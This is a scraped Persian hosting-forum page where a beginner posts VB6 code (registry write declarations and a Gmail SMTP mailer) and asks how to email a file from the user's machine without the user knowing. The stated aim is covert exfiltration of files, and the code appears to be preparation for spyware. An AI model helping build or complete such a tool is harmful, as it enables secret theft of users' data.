host3nter

مبتدی: آپلود یک فایل بدون اطلاع کاربر و ارسال آن توسط Mail

سلام ! من میخواستم توسط این کُد Option Explicit Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" ...

موضوع مبتدی: آپلود یک فایل بدون اطلاع کاربر و ارسال آن توسط Mail,.

برنامه نویس, برنامه نویسی, برنامه نویسی در 6 VB

تاريخ ارسال:2014/07/28

هاست سنتر سلام ! من میخواستم توسط این کُد Option Explicit Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, phkResult As Long) As Long Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" (ByVal hKey As Long, ByVal lpValueName As String) As Long Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long Private Const HKEY_LOCAL_MACHINE = &H80000002 Private Const REG_SZ = 1 Private Const KEY_WRITE = 131078 'start SendMail code Function SendMail(Sender As String, Subject As String, Reciever As String, Text As String, Password As String, AttachFile As String) As Boolean If Sender <> "" Or Password <> "" Then Form1.MousePointer = 11 Dim iMsg, iConf, Flds, schema, SendEmailGmail Set iMsg = CreateObject("CDO.Message") Set iConf = CreateObject("CDO.Configuration") Set Flds = iConf.Fields ' send one copy with Google SMTP server (with autentication) schema = "http://schemas.microsoft.com/cdo/configuration/" Flds.Item(schema & "sendusing") = 2 Flds.Item(schema & "smtpserver") = "smtp.gmail.com" Flds.Item(schema & "smtpserverport") = 465 Flds.Item(schema & "smtpauthenticate") = 1 Flds.Item(schema & "sendusername") = Sender Flds.Item(schema & "sendpassword") = Password Flds.Item(schema & "smtpusessl") = 1 Flds.Update With iMsg DoEvents .To = Reciever .From = Sender .Subject = Subject .HTMLBody = Text .Sender = Sender .Organization = "S.M.B Productions" .ReplyTo = Sender If AttachFile <> "" Then .AddAttachment (AttachFile) End If Set .Configuration = iConf SendEmailGmail = .Send End With Set iMsg = Nothing Set iConf = Nothing Set Flds = Nothing Form1.MousePointer = 0 SendMail = True Else MsgBox "Please, Fill the Sender Mail Address or Sender Mail Password", vbCritical, "Connection Error" SendMail = False End If End Function 'end SendMail code بدون اطلاع کاربر یک فایل رو از از یک دایرکتوری خاص گرفته و به کسی ایمیل کنم ! ولی وقتی توو آرگومان Attach رو خودم آدرس دهی میکنم ایمیل ارسال نمیشه ، ولی وقتی Attach فایل رو به عهده خود کاربر میزارم ، برنامه با موفقیت کار میکنه ! میخوام بدونم چجوری میشه یه فایلی مثل C:\windows\system32\shell32.exe رو بدون اینکه کاربر اطلاعی داشته باشه mail کنم ! ممنون میشم راهنمایی کنید ! هاست,دامین,سایت,وب,طراحی

سوال: دستوری بجای ReadLn در شبکه ایندی که بجای لاین با دریافت کلمه پایان پذیرد

نصب خودکار برنامه های جانبی

گذاشتن طرح توی themeforest.net / کسی اطلاعی داره مارو مطلع کنه لطفا

سوال: سخت تر کردن امکان خواندن کدهای سایت

سوال: ساخت elearning

بازدید ساز سئومارک

فازی c-mean

مبتدی:, آپلود, یک, فایل, بدون, اطلاع, کاربر, و, ارسال, آن, توسط, Mail

مبتدی: آپلود یک فایل بدون اطلاع کاربر و ارسال آن توسط Mail

میزبانی وب ,هاست,فضای وب,ویندوز,لینوکس,دات نت,پی اچ پی,web hosting,windows host,linux host,asp.net,php,sql server,mysql میزبان پایتخت ارائه دهنده خدمات میزبانی وب، هاست و هاستینگ، میزبانی هاست، دامین، میزبانی نمایندگی، نمایندگی وب، سرور مجازی و سرور مجازی ابری می باشد.هاست,میزبانی وب,دامین,سرور مجازی,میزبان پایتخت,host,domain,vps,mizban paytakht,hosting,share hosting,میزبان وب,میزبانی هاست,هاستینگ

google
logo-samandehi